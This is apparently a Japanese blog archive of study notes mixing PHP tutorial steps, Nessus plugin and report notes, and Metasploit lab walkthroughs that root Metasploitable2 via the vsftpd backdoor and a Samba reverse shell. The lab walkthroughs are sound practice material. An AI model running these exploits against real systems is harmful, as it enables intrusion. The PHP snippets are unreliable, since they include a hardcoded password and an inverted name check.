投票画面の作成
#05 投票画面を作ってみよう
http://dotinstall.com/lessons/poll_php_v2/9705
を参考に、投票画面の作り込み
編集するのは index.php
まず、
http://サーバーIP/poll_php
にアクセスしてエラーがないのを確認
投票は form で行う
アクションを行うのは、同じファイル
つまり index.php なので
action=”” というように空でOK
もし、 action.php などを作成して行うなら
action=”action.php” というようになる
今回なら
<form action=”” method=”POST”>
今回の場合、画像が欲しいので
フリー画像 素材 料理
などで検索して、画像を4つ用意する
そして、4つの写真の名前を
photo1.jpg
photo2.jpg
photo3.jpg
photo4.jpg
という名前にして保存し
サーバーに転送
私の場合、Ubuntu がクライアントマシンなので
cd $HOME/ピクチャ/
で画像がおいてあるフォルダに移動して
scp *.jpg 192.168.10.151:/var/www/html/poll_php/
でファイルを転送
windows なら
winscp あたりで転送できるし
Android なら AndFTP Pro で scp が使えるので
こちらで転送することも可能
ipod touch の場合 scp が使えるのが見当たらないので
SFTP で転送
そして、画像に
class=”candidate”
data-id=”1″
というように番号を振っておく
これは後の jQuery 処理に使う
ソースにすると
<img src=”photo1.jpg” class=”candidate” data-id=”1″>
<img src=”photo2.jpg” class=”candidate” data-id=”2″>
<img src=”photo3.jpg” class=”candidate” data-id=”3″>
<img src=”photo4.jpg” class=”candidate” data-id=”4″>
というように4つ用意する
そして、送信するために
ボタンを作成する
<input type=”submit” value=”投票する”>
そして、
クリックされた写真に応じて番号が入るようにする
投票の仕方は
<input type=”hidden” id=”answer” name=”answer” value=””>
で
クリックされた写真に応じて1~4の値が入るようになる
とりあえず、ここまでやって写真が表示されるか確認
動画みたいに4分割されていないけど
ブラウザを縮小してみると分割されるので問題ないと思う
次に、
<input type=”hidden” id=”answer” name=”answer” value=””>
のところに値が入るようにするので
jQuery を使うことになる
ライブラリをダウンロードして保存でもいいけど
どのみちネットにつながってるなら
リンクしたほうが効率的なので
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js”></script>
で読み込む
追記するのは head タグの中
これで、このときの処理を form タグの下あたりに追記していく
NASL(Nessus Attack Script Language)
NASL(Nessus Attack Script Language)
NASL は Nessus のプラグイン記述に使われる
スクリプト言語のこと
Nessus プラグインは自作して追加ができる
このためには、まず Nessus の設定を変更して
オリジナルプラグインが使えるようにする
vim /opt/nessus/etc/nessus/nessusd.conf
で設定ファイルを開き
135行目の
nasl_no_signature_check = no
を
nasl_no_signature_check = yes
に変更し、保存
次にオリジナルプラグインを
.nasl という拡張子で保存して
/opt/nessus/lib/nessus/plugins/
へ保存する
次に、プラグインのインデックス再構築をするので
service nessusd stop
/opt/nessus/sbin/nessusd -R
再構築完了後
service nessusd start
で起動して
web UI からログイン
ログインは
https://localhost:8834/flash.html
これで
ポリシー作成のときの plugin に
自作の pllugin が表示されるようになる
NASLの言語仕様
報告書の書き方などは
Nessus入門(ネットワーク脆弱性試験ツール活用術)
を参考に
Nessus 調査レポートのファイル形式
Nessus 調査レポートのファイル形式
.nessus
XML形式
Nessus の標準形式になる
この形式のみ Nessus サーバーにアップロード可能
HTML
webブラウザーでレポート内容の表示
ダウンロードするには Nessusのブラウザ機能を使う
rtf
Ritch Text Format 形式
ワードパッドなどで読み込めるけど
word で読み込ませるならHTMLのほうがよい
NBE
パイプラインで区切られたフォーマット
多数の外部プログラムで読み込みできる
ただし、アップロードができない
Nessus 調査レポートの出力について
Nessus 調査レポートの出力について
脆弱性検査は
POCAサイクルで行われる
Plan 計画
Do 実行
Check 評価
Act 改善
の略
Nessus レポートのダウンロード機能は
スキャン結果データのエクスポート
レポートの出力機能
の2つ
2つとも検査結果をエクスポートするのは変わらないけど
インポートできるかどうかという点が違う
出力形式は複数選べるけど
アップロード可能なのは
XML形式の .nessusだけ
このため、後々Nessus でレポートを表示したり
Professiona Feed ライセンスのみできることだけど
結果の比較を行うというのなら
.nessus 形式で保存することになる
またHTML形式で出力する場合のみ
出力内容の『指定が可能
このHTMLで出力は
3種類あるけど
Nessus のブラウザーで表示するものなので注意
以下、その3種類についてのメモ
Detailed HTML Report
脆弱性を検出したプラグインを基準にしてデータ出力
検出対象ホストは、各プラグインの説明の中にかかれる
Executive HTML Report
経営層向けのサマリーレポート
潜在リスクの高さをグラフ表示する
HTML export
各ホストごとに検出した脆弱性の情報を出力する
なお、これら Nessus レポートは英語になるので注意
PHP投票システムの設定ファイル作成
PHP投票システムの設定ファイル作成
#03 設定ファイルを作ろう
http://dotinstall.com/lessons/poll_php_v2/9703
をもとに設定ファイルを作成
vim config.php にアプリ共通の設定を作成
まずは、定数を define() で作成していく
DB関連とサイトURLは定数にしておくと書くのが楽になる
define(‘DSN’, ‘mysql:host=localhost;dbname=dotinstall_poll_php’);
define(‘DB_USER’, ‘dbuser’);
define(‘DB_PASSWORD’, ‘nk31gsfms’);
define(‘SITE_URL’, ‘http://192.168.10.151 /poll_php/’);
こうすることで、後で変更するのも楽になる
エラー出力方法も指定しておく
これはほぼ決まり文句で
NOTICE以外は全て表示するので
error_reporting(E_ALL & -E_NOTICE);
また、一部セッションを使うので
session の設定を行う
session_set_cookie_params(0,’/poll_php/’);
これで、poll_php ディレクトリの中だけセッションが有効になる
次に、よく使う関数もファイルを作成して
そこに登録しておく
vim function.php でファイルを作成して
そこにまとめる
参考にするのは
#04 よく使う関数を登録しておこう
http://dotinstall.com/lessons/poll_php_v2/9704
ここにまとめるのは
DB接続関連
そして
HTMLへのエスケープ出力関連
まず、DB接続関係
DB接続は try catch 形式で行う
catch の部分には、うまくいかなかったときの処理を書く
catch(PDOException $e){
echo $e->getMessage();
exit;
}
接続できたときの処理は
try のところに記述する
return でPDOオブジェクトを返すようにする
オプションは
DSN
DBUSER
DB_PASSWORD
という設定ファイルで作った定数を指定する
エスケープに関しては、
htmlspecialchars() を使うけど、長いし面倒なので
h() でできるように設定しておく
function h($s){
return htmlspecialchars($s, ENT_QUOTES, “UTF-8”);
}
とすることで、うまくいかなかったときのエラーが
出力される
ここまでできたら、index.php というホーム画面を作成
require_once() で
config.php
functions.php を読み込む
metasploitable2 samba攻略
metasploitable2 samba攻略
virtualbox を起動し
BT5R3
metasploitable2
を起動
以下、BT5R3 の操作
まず root でログインして
startx で X windows 起動
service nessusd start
でNessus起動
msfconsole
で
MSF起動
load nessus
で MSFから Nessus 接続機能ロード
nessus_connect hjuser:Nessusのパスワード@127.0.0.1
でNessus 接続
search samba
で samba の脆弱性を調べる
この中から
use exploit/multi/samba/usermap_script
で使用する Exploit を指定
次に指定可能なオプションを
show options
で確認
オプションの確認ができたら
RHOST、つまり対象の設定
set RHOST 192.168.10.214
次に show payloads
を実行して、実行可能な payload の確認
この中から指定する payload の指定をする
set payload cmd/unix/reverse
一覧のときには
payloads なのに、
セットするときには payload なので注意
reverse では
相手側から自ホスト側に接続が行われるので
自ホスト側の設定が必要になるので
show options
でオプションを確認すると
LHOST
LPORT
の設定がでているのが確認できるので
設定する
オプションで確認したときに
Required のところに yes となっているけど
これは必須項目という意味
とりあえず、自マシンのIPが必要なので
ifconfig で調べて
set LHOST 192.168.10.174
というように
set LHOST BT5R3のIPアドレス
と設定する
これをやらないと exploit が実行できない
これで、再び
show options
で設定を確認して LHOST にIPアドレスが
設定されたか確認する
ここまでできたら、
exploit
で実行
Command shell session 1 opened
となるまで待つ
あとは、 vsftpd のときと同じように
id;
でroot 権限になっているか
ifconfig:
でIPの確認
などで権限やリモートシェルの確認ができればOK
終了したいときには
Ctrl + c で
Abort session 1? [y/N] y
で終了できる
今回の参考書籍
PHP で投票システム
PHP で投票システム
写真を選んで投票し
結果がグラフで見られるというものを作る
同じIP、同じブラウザでは1日1回までという制限をつける
これを作るには
html
css
jquery
php
mysql
google chart tools
これらを使う
使用する環境は、vmware player で作成した
ローカル開発環境の CentOS 6.4 64bit
PHPで作る投票システム (全13回)
http://dotinstall.com/lessons/poll_php_v2
を参考に作成していく
まずは必要となるDBの作成
#02 データベースの設定をしよう
http://dotinstall.com/lessons/poll_php_v2/9702
を参考にSQLファイルを作成する
まず、
mkdir /var/www/html/pol_php
でディレクトリを作成
ここにソースファイルをおく事にする
以下、SQLファイルの解説
create database dotinstall_poll_php;
でDB作成
grant all on dotinstall_poll_php.* to dbuser@localhost identified by ‘nk31gsfms’;
で
ユーザ名 dbuser
パスワード nk31gsfms
というユーザを作成して権限を与える
use dotinstall_poll_php
で使用するDBを指定
次にテーブルの作成
create table answers(
id int not null auto_*increment primary key,
answer varchar(255),
remote_addr varchar(255),
user_agent varchar(255),
answer_date date,
created datetime,
modified datetime,
unique unique_answer(remote_addr,user_agent,answer_date)
);
この意味は
id int not null auto_*increment primary key,
で自動連番の主キー作成
answer varchar(255),
は、あとでいろいろ拡張する
remote_addr varchar(255),
で、回答した人のIPアドレスが入る
user_agent varchar(255),
は、ブラウザの情報を格納する
answer_date date,
で回答した日
unique unique_answer(remote_addr,user_agent,answer_date)
は、重複して投票することがないように
uniqe_answer というキーを作っている
これに
remote_addr,user_agent,answer_date
というように複合キーにしておく
これらを元に
vim poll.sql
を作成して
create database dotinstall_poll_php;
grant all on dotinstall_poll_php.* to dbuser@localhost identified by ‘nk31gsfms’;
use dotinstall_poll_php
create table answers (
id int not null auto_increment primary key,
answer varchar(255),
remote_addr varchar(15),
user_agent varchar(255),
answer_date date,
created datetime,
modified datetime,
unique unique_answer(remote_addr, user_agent, answer_date)
);
として保存
ysql -u root -p < poll.sql
でファイルを読み込んでDB作成
作成できているか確認するには
mysql -u root -p でログインして
show databases;
でDB一覧を確認
use dotinstall_poll_php;
でDBを選択して
desc answers;
で中身を確認することができる
このように sql ファイルを作成し、
そこから読み込むようにすれば
sql コマンドを打つ手間も省けるので
使いまわしとかもできる
掲示板に投稿時間の表示
掲示板に投稿時間の表示
#10 日付も表示させる
http://dotinstall.com/lessons/bbs_php/1010
を参考に
投稿時間の表示を実装
投稿された日時をdate で取得
表示するときには htmlspecialchars() で無害化する
http://jp.php.net/manual/ja/function.date.php
に様々なdate() のフォーマットがある
今回は
date(“Y-m-d H:i:s”)
時刻自体はユーザからの入力は必要ないので
投稿があったときに付け加える
$newData .=date(“|Y-m-d H:i:s”);
とすれば
.= とすることで、
$newData に現在時刻をくっつけることができる
追加するのは
array_push() の上あたり
H:i:sは、時、分、秒 という意味
時間を入れる変数を用意するので
list($message,$user)
を
list($message,$user,$posted)
というように変数を用意して
表示部分にも
<?php echo htmlspecialchars($message); ?>(<?php echo htmlspecialchars($use
r);?>)
から
<?php echo htmlspecialchars($message); ?>(<?php echo htmlspecialchars($user);?>) – <?php echo htmlspecialchars($posted); ?>
というように
htmlspecialchars() で表示するものを追加する
metasploitable2 vsftpd 攻略
metasploitable2 vsftpd 攻略
まず、virtualbox で
BT5R3
metasploitable2
の両方を起動
以下は、BT5R3 の操作ログ
root
でログインして
startx
でGUI起動
service nessusd start
でNessus起動
msfconsole
で
MSF起動
load nessus
で MSFから Nessus 接続機能ロード
nessus_connect hjuser:Nessusのパスワード@127.0.0.1
でNessus 接続
search vsftpd
で検索すると
VSFTPD v2.3.4 Backdoor Command Execution
バックドアの脆弱性と表示される
use コマンドで使用する exploit を指定
use exploit/unix/ftp/vsftpd_234_backdoor
show options
で指定可能なオプションを確認
オプションが確認できたら
RHOST の指定をする
payload の指定は不要
set RHOST 192.168.10.214
書式にすると
set RHOST metasploitable2 のIPアドレス
設定完了後Exploit を実行する
exploit
で実行
この状態になるとカーソルが点滅して何も表示されないけど
id;
とすれば
uid=0(root) gid=0(root)
と表示され、root権限であることが確認できる
また、ifconfig;
で、metasploitable2 のIPであることが確認できる
これにより、侵入成功の確認ができる
バックドアの接続切断には
Ctrl+c で
Abort session 1? [y/N]
と表示されるので
y
とすれば、セッション終了となる
このときのパケットの流れを wireshark で見る事ができる
端末から wireshark とすれば起動できるので
見てみた
書籍だと
Request: USER 4l:)
Request: PASS s
だったけど
私の場合
Request: USER cMwmJ:)
Request: PASS bma52C
でした
FTPの場合
ID、パスワードがまる見えなので
SFTP とか SCP を使わないと
wireshark などで簡単にみれてしまいます
ちなみに、今回の脆弱性は
user ID として
🙂 で終わる3文字以上の文字列なら
パスワードは何でもOKというものです
今回の参考書籍は
PHP 掲示板で投稿件数の表示
PHP 掲示板で投稿件数の表示
#07 投稿件数を表示する
http://dotinstall.com/lessons/bbs_php/1007
を参考に
投稿件数の表示
これは $posts の配列の数を echo で表示する
配列の数を数えるのは
count()
を使えば、簡単にできるので
今回は、配列は$posts に入っているので
count($posts)
で調べることができる
<h2>投稿一覧</h2>
を
<h2>投稿一覧 (<?php echo count($posts); ?>)件</h2>
とすれば、今の投稿件数が表示されるようになる
次に、
#08 ユーザー名も投稿させる
http://dotinstall.com/lessons/bbs_php/1008
を参考に
投稿した人の名前も表示できるようにする
まずは、form の部分を書き換える
<input type=”text” name=”message”>
を
message: <input type=”text” name=”message”>
name <input type =”text” name=”user”>
とする
これにより、POSTで受けとるのが
message
user
となったのでPHP部分の修正が必要になる
投稿時の判定はそのままでいいので
名前の有無で、処理をわけるようにする
if(!empty($_POST[‘user’])){
$newData =$_POST[‘message’].”|ななしさん”;
}else{
$newData = $_POST[‘message’].”|”.$_POST[‘user’];
}
こうすることで、投稿した内容である message の後ろに
投稿者の名前が表示されるようになる
もし、名前なしなら
ななしさん
というようになる
PHP では . で文字列を連結できる
java script とかだと + で連結する
$newData は、連結した文字列の格納するための変数
また、追加する内容も増えているので
array_unshift($posts, $_POST[‘message’]);
の部分を
array_unshift($posts, $newData);
というようにする
$newData という変数にしたことで、ここで書くのが
楽になっている
表示するときに
$post の中には
message
user と2つになっているので処理が必要になる
このときに使うのが
list()
explode()
list() については
http://www.scollabo.com/banban/php/ref/ref_list.html
にあるように
引数に設定した変数を配列として渡す
explode()は
http://php.quus.net/strings/explode.php
にあるように
文字列を分割して配列にして返す
explode()の構文は
explode (“区切り文字”, “分割する文字列”, “要素数(リミット)”);
<?php list($message, $user) = explode(“|”, $post); ?>
とするので
explode(“|”, $post);
は
$post の中の文字で | となっているところで分割する
と言う意味
表示する内容が
$message
$user
となったので
<li><?php echo htmlspecialchars($post); ?></li>
を
<li><?php echo htmlspecialchars($message); ?> (<?php echo htmlspecialchars($user); ?>)</li>
とする